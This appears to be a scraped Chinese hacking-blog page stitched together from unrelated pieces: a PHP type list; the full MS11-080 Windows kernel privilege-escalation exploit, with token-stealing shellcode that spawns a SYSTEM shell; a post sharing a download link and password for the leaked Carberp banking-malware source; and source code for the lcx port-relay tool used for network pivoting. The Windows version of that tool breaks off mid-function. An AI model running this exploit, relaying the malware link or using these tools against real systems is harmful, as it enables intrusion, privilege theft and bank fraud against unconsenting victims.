php zval类型定义

#define IS_NULL 0
#define IS_LONG 1
#define IS_DOUBLE 2
#define IS_BOOL 3
#define IS_ARRAY 4
#define IS_OBJECT 5
#define IS_STRING 6
#define IS_RESOURCE 7
#define IS_CONSTANT 8
#define IS_CONSTANT_ARRAY 9
#define IS_CALLABLE 10

ms11080源代码

################################################################################
######### MS11-080 - CVE-2011-2005 Afd.sys Privilege Escalation Exploit ########
#########         Author: ryujin@offsec.com - Matteo Memelli            ########
#########                      Spaghetti & Pwnsauce                     ########
#########              yuck! 0xbaadf00d Elwood@mac&cheese.com           ########
#########                                                               ########
#########      Thx to dookie(lifesaver)2000ca, dijital1 and ronin       ########
#########                        for helping out!                       ########
#########                                                               ########
#########                   To my Master Shifu muts:                    ########
#########           "So that's it, I just need inner peace?" 😉         ########
#########                                                               ########
#########        Exploit tested on the following 32bits systems:        ########
#########       Win XPSP3 Eng, Win 2K3SP2 Standard/Enterprise Eng       ########
################################################################################

from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER,
                    c_char, c_short, c_ushort, c_int, c_uint, c_ulong,
                    c_void_p, c_long, c_char_p)
from ctypes.wintypes import HANDLE, DWORD
import socket, time, os, struct, sys
from optparse import OptionParser

usage =  "%prog -O TARGET_OS"
parser = OptionParser(usage=usage)
parser.add_option("-O", "--target-os", type="string",
                  action="store", dest="target_os",
                  help="Target OS. Accepted values: XP, 2K3")
(options, args) = parser.parse_args()
OS = options.target_os
if not OS or OS.upper() not in ['XP','2K3']:
   parser.print_help()
   sys.exit()
OS = OS.upper()

kernel32 = windll.kernel32
ntdll    = windll.ntdll
Psapi    = windll.Psapi

def findSysBase(drvname=None): 
    ARRAY_SIZE            = 1024
    myarray               = c_ulong * ARRAY_SIZE  
    lpImageBase           = myarray()  
    cb                    = c_int(1024)  
    lpcbNeeded            = c_long()  
    drivername_size       = c_long()  
    drivername_size.value = 48
    Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))  
    for baseaddy in lpImageBase:  
        drivername = c_char_p("\x00"*drivername_size.value)  
        if baseaddy:  
            Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,  
                            drivername_size.value)
            if drvname:
                if drivername.value.lower() == drvname:
                    print "[+] Retrieving %s info..." % drvname
                    print "[+] %s base address: %s" % (drvname, hex(baseaddy))
                    return baseaddy
            else:
                if drivername.value.lower().find("krnl") !=-1:
                    print "[+] Retrieving Kernel info..."
                    print "[+] Kernel version:", drivername.value
                    print "[+] Kernel base address: %s" % hex(baseaddy)  
                    return (baseaddy, drivername.value)
    return None

print "[>] MS11-080 Privilege Escalation Exploit"
print "[>] Matteo Memelli - ryujin@offsec.com"
print "[>] Release Date 28/11/2011"

WSAGetLastError          = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype  = c_int
SOCKET                   = c_int
WSASocket                = windll.Ws2_32.WSASocketA
WSASocket.argtypes       = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype        = SOCKET
closesocket              = windll.Ws2_32.closesocket
closesocket.argtypes     = (SOCKET,)
closesocket.restype      = c_int
connect                  = windll.Ws2_32.connect
connect.argtypes         = (SOCKET, c_void_p, c_int)
connect.restype          = c_int

class sockaddr_in(Structure):
    _fields_ = [
        ("sin_family", c_short),
        ("sin_port", c_ushort),
        ("sin_addr", c_ulong),
        ("sin_zero", c_char * 8),
        ]

## Create our deviceiocontrol socket handle
client = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP,
                   None, 0, 0)
if client == ~0:
    raise OSError, "WSASocket: %s" % (WSAGetLastError(),)
try:
    addr = sockaddr_in()
    addr.sin_family = socket.AF_INET
    addr.sin_port = socket.htons(4455)
    addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1
    ## We need to connect to a closed port, socket state must be CONNECTING
    connect(client, byref(addr), sizeof(addr))
except:
    closesocket(client)
    raise

baseadd    = c_int(0x1001)
MEMRES     = (0x1000 | 0x2000)
PAGEEXE    = 0x00000040
Zerobits   = c_int(0)
RegionSize = c_int(0x1000)
written    = c_int(0)
## This will trigger the path to AfdRestartJoin
irpstuff   = ("\x41\x41\x41\x41\x42\x42\x42\x42"
              "\x00\x00\x00\x00\x44\x44\x44\x44"
              "\x01\x00\x00\x00"
              "\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231)
## Allocate space for the input buffer
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                     byref(baseadd),
                                     0x0,
                                     byref(RegionSize),
                                     MEMRES,
                                     PAGEEXE)
# Copy input buffer to it
kernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written))
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
################################# KERNEL INFO ##################################
lpDriver     = c_char_p()
lpPath       = c_char_p()
lpDrvAddress = c_long()
(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("hal.dll")
## WinXP SP3
if OS == "XP":
    HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3
    HalpSetSystemInformation   = halbase+0x19436 # Offset for XPSP3
## Win2k3 SP2
else:
    HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3
    HalpSetSystemInformation   = halbase+0x21c60 # Offset for WIN2K3
print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)
print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)

################################# EXPLOITATION #################################
shellcode_address_dep   = 0x0002071e
shellcode_address_nodep = 0x000207b8
padding           = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4
HalDispatchTable0x8 = HalDispatchTable + 0x8
## tokenbkaddr      = 0x00020900
if OS == "XP":
    _KPROCESS = "\x44"
    _TOKEN    = "\xc8"
    _UPID     = "\x84"
    _APLINKS  = "\x88"
else:
    _KPROCESS = "\x38"
    _TOKEN    = "\xd8"
    _UPID     = "\x94"
    _APLINKS  = "\x98"

restore_ptrs =   "\x31\xc0" + \
                 "\xb8" + struct.pack("L", HalpSetSystemInformation) + \
                 "\xa3" + struct.pack("L", HalDispatchTable0x8) + \
                 "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
                 "\xa3" + struct.pack("L", HalDispatchTable0x4)
tokenstealing =  "\x52"                                 +\
                 "\x53"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x40" + _KPROCESS                 +\
                 "\x8b\xc8"                             +\
                 "\x8b\x98" + _TOKEN + "\x00\x00\x00"   +\
                 "\x89\x1d\x00\x09\x02\x00"             +\
                 "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
                 "\x75\xe8"                             +\
                 "\x8b\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x8b\xc1"                             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x5b"                                 +\
                 "\x5a"                                 +\
                 "\xc2\x10"
restore_token =  "\x52"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x40" + _KPROCESS                 +\
                 "\x8b\x15\x00\x09\x02\x00"             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x5a"                                 +\
                 "\xc2\x10"

shellcode         = padding + restore_ptrs + tokenstealing
shellcode_size    = len(shellcode)
orig_size         = shellcode_size
# Write shellcode in userspace (dep)
kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
                                   shellcode_size, byref(written))
# Write shellcode in userspace *(nodep)
kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
                                   shellcode_size, byref(written))
## Trigger Pointer Overwrite 
print "[*] Triggering AFDJoinLeaf pointer overwrite..."
IOCTL             = 0x000120bb                # AFDJoinLeaf
inputbuffer       = 0x1004
inputbuffer_size  = 0x108
outputbuffer_size = 0x0                       # Bypass Probe for Write
outputbuffer      = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1
IoStatusBlock = c_ulong()
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )
## Trigger shellcode
inp  = c_ulong()
out  = c_ulong() 
inp  = 0x1337
hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
## Spawn a system shell, w00t!
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32")

############################## POST EXPLOITATION ###############################
print "[*] Restoring token..."
## Restore the thingie
shellcode         = padding + restore_ptrs + restore_token
shellcode_size    = len(shellcode)
trail_padding     = (orig_size - shellcode_size) * "\x00"
shellcode        += trail_padding
shellcode_size   += (orig_size - shellcode_size)
## Write restore shellcode in userspace (dep)
kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
                                   shellcode_size, byref(written))
## Write restore shellcode in userspace (nodep)
kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
                                   shellcode_size, byref(written))
## Overwrite HalDispatchTable once again
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )
## Trigger restore shellcode
hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[+] Restore done! Have a nice day :)"

价值50000美元的银行恶意软件和后门程序源码-Carberp

这一份源代码是从俄罗斯地下论坛发出的,之前有人出价5000美元购买这一份源代码,昨晚连夜从国外网站拖回源码并上传到百度网盘,分享给大家。

Carberp是一款可以从银行系统窃取用户信息并实施用户危害的恶意软件,今天四月份犯罪分子从银行窃取约169万美元非法资金,现已被捕。

6月份的时候,有人标价50000美金出售此份源码,据说这份源码可以躲避反病毒软件追踪,并感染硬盘主引导记录MBR。

Carberp

 

 

下载链接地址:http://pan.baidu.com/share/link?shareid=190934407&uk=135917936   密码:y3j4

lcx for Linux and Windows

这个Linux版和Windows版可以相互通信

For Linux

/* Socket data transport tool
 * [bkbll@mobile socket]$ uname -a
 * Linux mobile 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
 * [bkbll@mobile socket]$ gcc -o trtool trtool.c
 * [bkbll@mobile socket]$ ./trtool
 * Socket data transport tool
 * by bkbll(bkbll@cnhonker.net)
 * Usage:./trtool -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
 * -v: version
 * -h1: host1
 * -h2: host2
 * -p1: port1
 * -p2: port2
 * -log: log the data
 * -m: the action method for this tool
 * 1: listen on PORT1 and connect to HOST2:PORT2
 * 2: listen on PORT1 and PORT2
 * 3: connect to HOST1:PORT1 and HOST2:PORT2
 */
#include <sys/time.h>
#include <signal.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <netdb.h>

#define VERSION "2.2"
#define TIMEOUT 300
#define max(a,b) (a)>(b)?(a):(b)
#define MAXSIZE 10240
#define HOSTLEN 40
#define CONNECT_NUMBER 5

/* define function here */
void usage(char *s);
void transdata(int fd1,int fd2);
void closeallfd();
void makelog(char *buffer,int length);
int testifisvalue(char *str);
int bind2conn(int port1,char *host,int port2);
int bind2bind(int port1,int port2);
int conn2conn(char *host1,int port1,char *host2,int port2);
int create_socket();
int create_serv(int sockfd,int port);
int client_connect(int sockfd,char* server,int port);

/* define GLOBAL varible here */
extern int errno;
FILE *fp;

main(int argc,char **argv)
{
    char **p;
    char host1[HOSTLEN],host2[HOSTLEN];
    int port1=0,port2=0,method=0;
    int length;
    char *logfile=NULL;

    p=argv;
    memset(host1,0,HOSTLEN);
    memset(host2,0,HOSTLEN);
    while(*p)
    {
        if(strcmp(*p,"-v")==0)
        {
            printf("Socket data transport tool.\r\nVersion:%s\r\n",VERSION);
            p++;
            continue;
        }
        if(strcmp(*p,"-h1")==0)
        {
            if(testifisvalue(*(p+1))==1)
            {
                length=(strlen(*(p+1))>HOSTLEN-1)?HOSTLEN-1:strlen(*(p+1));
                strncpy(host1,*(++p),length);
            }
            p++;
            continue;
        }
        if(strcmp(*p,"-h2")==0)
        {
            if(testifisvalue(*(p+1))==1)
            {
                length=(strlen(*(p+1))>HOSTLEN-1)?HOSTLEN-1:strlen(*(p+1));
                strncpy(host2,*(++p),length);
            }
            p++;
            continue;
        }
        if(strcmp(*p,"-p1")==0)
        {
            if(testifisvalue(*(p+1))==1)
                port1=atoi(*(++p));
            p++;
            continue;
        }
        if(strcmp(*p,"-p2")==0)
        {
            if(testifisvalue(*(p+1))==1)
                port2=atoi(*(++p));
            p++;
            continue;
        }
        if(strcmp(*p,"-m")==0)
        {
            if(testifisvalue(*(p+1))==1)
                method=atoi(*(++p));
            p++;
            continue;
        }
        if(strcmp(*p,"-log")==0)
        {
            if(testifisvalue(*(p+1))==1)
                logfile=*(++p);
            else
            {
                printf("[ERROR]:must supply logfile name\r\n");
                exit(0);
            }
            p++;
            continue;
        }
        p++; 
    }
    signal(SIGCLD,SIG_IGN);
    signal(SIGINT,&closeallfd);
    if(logfile !=NULL)
    {
        fp=fopen(logfile,"a");
        if(fp == NULL ) 
        {
            perror("open logfile");
            exit(0);
        }
    }
    makelog("######################## start ################\r\n",49);
    switch(method)
    {
    case 0:
        usage(argv[0]);
        break;
    case 1:
        if((port1==0) || (port2==0))
        {
            printf("[ERROR]:must supply PORT1 and PORT2.\r\n");
            break;
        }
        if(strlen(host2)==0)
        {
            printf("[ERROR]:must supply HOST2.\r\n");
            break;
        }
        bind2conn(port1,host2,port2);
        break;
    case 2:
        if((port1==0) || (port2==0))
        {
            printf("[ERROR]:must supply PORT1 and PORT2.\r\n");
            break;
        }
        bind2bind(port1,port2);
        break;
    case 3:
        if((port1==0) || (port2==0))
        {
            printf("[ERROR]:must supply PORT1 and PORT2.\r\n");
            break;
        }
        if(strlen(host1)==0)
        {
            printf("[ERROR]:must supply HOST1.\r\n");
            break; 
        }
        if(strlen(host2)==0)
        {
            printf("[ERROR]:must supply HOST2.\r\n");
            break; 
        }
        conn2conn(host1,port1,host2,port2);
        break;
    default:
        usage(argv[0]);
    }
    closeallfd();
}

int testifisvalue(char *str)
{
    if(str == NULL ) return(0);
    if(str[0]=='-') return(0);
    return(1);
}

void usage(char *s)
{
    printf("Socket data transport tool\r\n");
    printf("by bkbll(bkbll@cnhonker.net)\r\n\r\n");
    printf("Usage:%s -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]\r\n",s);
    printf(" -v: version\r\n");
    printf(" -h1: host1\r\n");
    printf(" -h2: host2\r\n");
    printf(" -p1: port1\r\n");
    printf(" -p2: port2\r\n");
    printf(" -log: log the data\r\n");
    printf(" -m: the action method for this tool\r\n");
    printf(" 1: listen on PORT1 and connect to HOST2:PORT2\r\n");
    printf(" 2: listen on PORT1 and PORT2\r\n");
    printf(" 3: connect to HOST1:PORT1 and HOST2:PORT2\r\n");

    closeallfd();
}

int bind2conn(int port1,char *host,int port2)
{
    int sockfd,sockfd1,sockfd2;
    struct sockaddr_in remote;
    int size;
    int pid;
    char buffer[1024];

    memset(buffer,0,1024);
    if((sockfd=create_socket())==0) exit(0);
    if(create_serv(sockfd,port1)==0) 
    {
        close(sockfd1);
        exit(0);
    }
    size=sizeof(struct sockaddr);
    while(1)
    {
        printf("waiting for response.........\n");
        if((sockfd1=accept(sockfd,(struct sockaddr *)&remote,&size))<0){perror("accept error\n");continue;}
        printf("accept a client from %s:%d\n",inet_ntoa(remote.sin_addr),ntohs(remote.sin_port));
        if((sockfd2=create_socket())==0) 
        {
            close(sockfd1);
            continue; 
        }
        printf("make a connection to %s:%d....",host,port2);
        fflush(stdout);
        if(client_connect(sockfd2,host,port2)==0)
        {
            close(sockfd2);
            sprintf(buffer,"[SERVER]connection to %s:%d error\r\n",host,port2);
            write(sockfd1,buffer,strlen(buffer));
            memset(buffer,0,1024);
            close(sockfd1);
            continue;
        }
        printf("ok\r\n");
        pid=fork();
        if(pid==0) transdata(sockfd1,sockfd2);
        // sleep(2);
        close(sockfd1);
        close(sockfd2);
    }

}

int bind2bind(int port1,int port2)
{
    int fd1,fd2,sockfd1,sockfd2;
    struct sockaddr_in client1,client2;
    int size1,size2;
    int pid;

    if((fd1=create_socket())==0) exit(0);
    if((fd2=create_socket())==0) exit(0);
    printf("binding port %d......",port1);
    fflush(stdout);
    if(create_serv(fd1,port1)==0)
    {
        close(fd1);
        exit(0);
    }
    printf("ok\r\n");
    printf("binding port %d......",port2);
    fflush(stdout);
    if(create_serv(fd2,port2)==0)
    {
        close(fd2);
        exit(0);
    }
    printf("ok\r\n");
    size1=size2=sizeof(struct sockaddr);
    while(1)
    {
        printf("waiting for response on port %d.........\n",port1);
        if((sockfd1=accept(fd1,(struct sockaddr *)&client1,&size1))<0)
        {
            perror("accept1 error");
            continue;
        }
        printf("accept a client on port %d from %s,waiting another on port %d....\n",port1,inet_ntoa(client1.sin_addr),port2);
        if((sockfd2=accept(fd2,(struct sockaddr *)&client2,&size2))<0)
        {
            perror("accept2 error");
            close(sockfd1);
            continue;
        }
        printf("accept a client on port %d from %s\n",port2,inet_ntoa(client2.sin_addr));
        pid=fork();
        if(pid==0) transdata(sockfd1,sockfd2);
        //sleep(2);
        close(sockfd1);
        close(sockfd2);
    }
}

int conn2conn(char *host1,int port1,char *host2,int port2)
{
    int sockfd1,sockfd2;
    int pid;

    while(1)
    {
        if((sockfd1=create_socket())==0) exit(0);
        if((sockfd2=create_socket())==0) exit(0);
        printf("make a connection to %s:%d....",host1,port1);
        fflush(stdout);
        if(client_connect(sockfd1,host1,port1)==0) 
        {
            close(sockfd1);
            close(sockfd2);
            break;
        }
        printf("ok\r\n");
        printf("make a connection to %s:%d....",host2,port2);
        fflush(stdout);
        if(client_connect(sockfd2,host2,port2)==0) 
        {
            close(sockfd1);
            close(sockfd2);
            break;
        }
        printf("ok\r\n");
        pid=fork();
        if(pid==0) transdata(sockfd1,sockfd2);
        //sleep(2);
        close(sockfd1);
        close(sockfd2);

    }
}

void transdata(int fd1,int fd2)
{
    struct timeval timeset;
    fd_set readfd,writefd;
    int result,i=0;
    char read_in1[MAXSIZE],send_out1[MAXSIZE];
    char read_in2[MAXSIZE],send_out2[MAXSIZE];
    int read1=0,totalread1=0,send1=0;
    int read2=0,totalread2=0,send2=0;
    int sendcount1,sendcount2;
    int maxfd;
    struct sockaddr_in client1,client2;
    int structsize1,structsize2;
    char host1[20],host2[20];
    int port1=0,port2=0;
    char tmpbuf1[100],tmpbuf2[100];

    memset(host1,0,20);
    memset(host2,0,20);
    memset(tmpbuf1,0,100);
    memset(tmpbuf2,0,100);
    if(fp!=NULL)
    {
        structsize1=sizeof(struct sockaddr);
        structsize2=sizeof(struct sockaddr);
        if(getpeername(fd1,(struct sockaddr *)&client1,&structsize1)<0)
        {
            strcpy(host1,"fd1");
        }
        else
        { 
            printf("got,ip:%s,port:%d\r\n",inet_ntoa(client1.sin_addr),ntohs(client1.sin_port));
            strcpy(host1,inet_ntoa(client1.sin_addr));
            port1=ntohs(client1.sin_port);
        }
        if(getpeername(fd2,(struct sockaddr *)&client2,&structsize2)<0)
        {
            strcpy(host2,"fd2");
        }
        else
        { 
            printf("got,ip:%s,port:%d\r\n",inet_ntoa(client2.sin_addr),ntohs(client2.sin_port));
            strcpy(host2,inet_ntoa(client2.sin_addr));
            port2=ntohs(client2.sin_port);
        }
        sprintf(tmpbuf1,"\r\n########### read from %s:%d ####################\r\n",host1,port1);
        sprintf(tmpbuf2,"\r\n########### reply from %s:%d ####################\r\n",host2,port2);
    }

    maxfd=max(fd1,fd2)+1;
    memset(read_in1,0,MAXSIZE);
    memset(read_in2,0,MAXSIZE);
    memset(send_out1,0,MAXSIZE);
    memset(send_out2,0,MAXSIZE);

    timeset.tv_sec=TIMEOUT;
    timeset.tv_usec=0;
    while(1)
    {
        FD_ZERO(&readfd);
        FD_ZERO(&writefd); 

        FD_SET(fd1,&readfd);
        FD_SET(fd1,&writefd);
        FD_SET(fd2,&writefd);
        FD_SET(fd2,&readfd);

        result=select(maxfd,&readfd,&writefd,NULL,&timeset);
        if((result<0) && (errno!=EINTR))
        {
            perror("select error");
            break;
        }
        else if(result==0)
        {
            printf("time out\n");
            break;
        }
        if(FD_ISSET(fd1,&readfd))
        {
            /* 不能超过MAXSIZE-totalread1,不然send_out1会溢出 */
            if(totalread1<MAXSIZE)
            {
                read1=read(fd1,read_in1,MAXSIZE-totalread1); 
                if(read1==0) break;
                if((read1<0) && (errno!=EINTR))
                {
                    perror("read data error");
                    break;
                }
                memcpy(send_out1+totalread1,read_in1,read1);
                makelog(tmpbuf1,strlen(tmpbuf1));
                makelog(read_in1,read1);
                totalread1+=read1;
                memset(read_in1,0,MAXSIZE);
            }
        }
        if(FD_ISSET(fd2,&writefd))
        {
            int err=0;
            sendcount1=0;
            while(totalread1>0)
            {
                send1=write(fd2,send_out1+sendcount1,totalread1);
                if(send1==0)break;
                if((send1<0) && (errno!=EINTR))
                {
                    perror("unknow error");
                    err=1;
                    break;
                }
                if((send1<0) && (errno==ENOSPC)) break;
                sendcount1+=send1;
                totalread1-=send1; 
            }
            if(err==1) break;
            if((totalread1>0) && (sendcount1>0))
            {
                /* 移动未发送完的数据到开始 */
                memcpy(send_out1,send_out1+sendcount1,totalread1);
                memset(send_out1+totalread1,0,MAXSIZE-totalread1);
            }
            else
                memset(send_out1,0,MAXSIZE);
        } 
        if(FD_ISSET(fd2,&readfd))
        {

            if(totalread2<MAXSIZE)
            {
                read2=read(fd2,read_in2,MAXSIZE-totalread2); 
                if(read2==0)break;
                if((read2<0) && (errno!=EINTR))
                {
                    perror("read data error");
                    break;
                }
                memcpy(send_out2+totalread2,read_in2,read2);
                makelog(tmpbuf2,strlen(tmpbuf2));
                makelog(read_in2,read2);
                totalread2+=read2;
                memset(read_in2,0,MAXSIZE);
            }
        }
        if(FD_ISSET(fd1,&writefd))
        {
            int err2=0;
            sendcount2=0;
            while(totalread2>0)
            {
                send2=write(fd1,send_out2+sendcount2,totalread2);
                if(send2==0)break;
                if((send2<0) && (errno!=EINTR))
                {
                    perror("unknow error");
                    err2=1;
                    break;
                }
                if((send2<0) && (errno==ENOSPC)) break;
                sendcount2+=send2;
                totalread2-=send2; 
            }
            if(err2==1) break;
            if((totalread2>0) && (sendcount2 > 0))
            {
                /* 移动未发送完的数据到开始 */
                memcpy(send_out2,send_out2+sendcount2,totalread2);
                memset(send_out2+totalread2,0,MAXSIZE-totalread2);
            }
            else
                memset(send_out2,0,MAXSIZE);
        } 
    } 

    close(fd1);
    close(fd2);
    printf("ok,I closed the two fd\r\n"); 
    exit(0);
}

void closeallfd()
{
    int i;
    printf("Let me exit...");
    fflush(stdout);
    for(i=3;i<256;i++)
    {
        close(i); 
    }
    if(fp != NULL) 
    {
        fprintf(fp,"exited\r\n");
        fclose(fp);
    }
    printf("all overd\r\n");
    exit(0);
}
void makelog(char *buffer,int length)
{
    if(fp !=NULL)
    {
        //fprintf(fp,"%s",buffer);
        write(fileno(fp),buffer,length);
        fflush(fp);
    }
}

int create_socket()
{ 
    int sockfd;

    sockfd=socket(AF_INET,SOCK_STREAM,0);
    if(sockfd<0)
    {
        perror("create socket error");
        return(0);
    }
    return(sockfd); 
}

int create_serv(int sockfd,int port)
{
    struct sockaddr_in srvaddr;
    int on=1;

    bzero(&srvaddr,sizeof(struct sockaddr));
    srvaddr.sin_port=htons(port);
    srvaddr.sin_family=AF_INET;
    srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);

    setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on)); //so I can rebind the port
    if(bind(sockfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0){perror("error");return(0);}
    if(listen(sockfd,CONNECT_NUMBER)<0){perror("listen error\n");return(0);}
    return(1);
}

int client_connect(int sockfd,char* server,int port)
{
    struct sockaddr_in cliaddr;
    struct hostent *host;

    if(!(host=gethostbyname(server))){printf("gethostbyname(%s) error:%s\n",server,strerror(errno));return(0);} 

    bzero(&cliaddr,sizeof(struct sockaddr));
    cliaddr.sin_family=AF_INET;
    cliaddr.sin_port=htons(port);
    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);

    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0){perror("error");return(0);}
    return(1);
}

For Windows

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <winsock2.h> 
#include <io.h>
#include <signal.h>
#pragma comment(lib, "ws2_32.lib")
#define VERSION                        "1.00"
#define TIMEOUT                        300
#define MAXSIZE                        20480
#define HOSTLEN                        40
#define CONNECTNUM                  5

// define 2 socket struct
struct transocket 
{
    SOCKET fd1;
    SOCKET fd2;
};

// define function 
void ver();
void usage(char *prog);
void transmitdata(LPVOID data);
void getctrlc(int j);
void closeallfd();
void makelog(char *buffer, int length);
void proxy(int port);
void bind2bind(int port1, int port2);
void bind2conn(int port1, char *host, int port2);
void conn2conn(char *host1, int port1, char *host2, int port2);
int testifisvalue(char *str);
int create_socket();
int create_server(int sockfd, int port);
int client_connect(int sockfd, char* server, int port);

// define GLOBAL variable here
extern int errno;
FILE *fp;
int method=0;
//int connectnum=0;

//************************************************************************************
// 
// function main
//
//************************************************************************************
VOID main(int argc, char* argv[])
{
    char host1[HOSTLEN],host2[HOSTLEN];
    int port1=0,port2=0,method=0;
    int length;

    char **p;
    char sConnectHost[HOSTLEN], sTransmitHost[HOSTLEN];
    int iConnectPort=0, iTransmitPort=0;
    char *logfile=NULL;

    memset(sConnectHost, 0, HOSTLEN);
    memset(sTransmitHost, 0, HOSTLEN);

    p=argv;
    while(*p)
    {
        if(strcmp(*p,"-v")==0)
        {
            printf("Socket data transport tool.\r\nVersion:%s\r\n",VERSION);
            p++;
            continue;
        }
        if(strcmp(*p,"-h1")==0)
        {
            if(testifisvalue(*(p+1))==1)
            {
                length=(strlen(*(p+1))>HOSTLEN-1)?HOSTLEN-1:strlen(*(p+1));
                strncpy(host1,*(++p),length);
            }
            p++;
            continue;
        }
        if(strcmp(*p,"-h2")==0)
        {
            if(testifisvalue(*(p+1))==1)
            {
                length=(strlen(*(p+1))>HOSTLEN-1)?HOSTLEN-1:strlen(*(p+1));
                strncpy(host2,*(++p),length);
            }
            p++;
            continue;
        }
        if(strcmp(*p,"-p1")==0)
        {
            if(testifisvalue(*(p+1))==1)
                port1=atoi(*(++p));
            p++;
            continue;
        }
        if(strcmp(*p,"-p2")==0)
        {
            if(testifisvalue(*(p+1))==1)
                port2=atoi(*(++p));
            p++;
            continue;
        }
        if(strcmp(*p,"-m")==0)
        {
            if(testifisvalue(*(p+1))==1)
                method=atoi(*(++p));
            p++;
            continue;
        }
        if(strcmp(*p,"-log")==0)
        {
            if(testifisvalue(*(p+1))==1)
                logfile=*(++p);
            else
            {
                printf("[ERROR]:must supply logfile name\r\n");
                exit(0);
            }
            p++;
            continue;
        }
        p++; 
    }

    if(logfile !=NULL)
    {
        fp=fopen(logfile,"a");
        if(fp == NULL ) 
        {
            printf("[-] ERROR: open logfile");
            return;
        }

        makelog("====== Start ======\r\n", 22);
    }

    // Win Start Winsock.
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1, 1), &wsadata);

    signal(SIGINT, &getctrlc);

    switch(method)
    {
    case 0:
        usage(argv[0]);
        break;
    case 1:
        if((port1==0) || (port2==0))
        {
            printf("[ERROR]:must supply PORT1 and PORT2.\r\n");
            break;
        }
        if(strlen(host2)==0)
        {
            printf("[ERROR]:must supply HOST2.\r\n");
            break;
        }
        bind2conn(port1,host2,port2);
        break;
    case 2:
        if((port1==0) || (port2==0))
        {
            printf("[ERROR]:must supply PORT1 and PORT2.\r\n");
            break;
        }
        bind2bind(port1,port2);
        break;
    case 3:
        if((port1==0) || (port2==0))
        {
            printf("[ERROR]:must supply PORT1 and PORT2.\r\n");
            break;
        }
        if(strlen(host1)==0)
        {
            printf("[ERROR]:must supply HOST1.\r\n");
            break; 
        }
        if(strlen(host2)==0)
        {
            printf("[ERROR]:must supply HOST2.\r\n");
            break; 
        }
        conn2conn(host1,port1,host2,port2);
        break;
    default:
        usage(argv[0]);
    }

    if(method != 0)
    {
        closeallfd();
    }
    WSACleanup();

    return;
}

//************************************************************************************
// 
// print usage message
//
//************************************************************************************
VOID usage(char* prog) 
{      
    printf("Socket data transport tool\r\n");
    printf("by bkbll(bkbll@cnhonker.net)\r\n\r\n");
    printf("Usage:%s -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]\r\n",prog);
    printf(" -v: version\r\n");
    printf(" -h1: host1\r\n");
    printf(" -h2: host2\r\n");
    printf(" -p1: port1\r\n");
    printf(" -p2: port2\r\n");
    printf(" -log: log the data\r\n");
    printf(" -m: the action method for this tool\r\n");
    printf("	1: listen on PORT1 and connect to HOST2:PORT2\r\n");
    printf("	2: listen on PORT1 and PORT2\r\n");
    printf("	3: connect to HOST1:PORT1 and HOST2:PORT2\r\n");

    closeallfd();
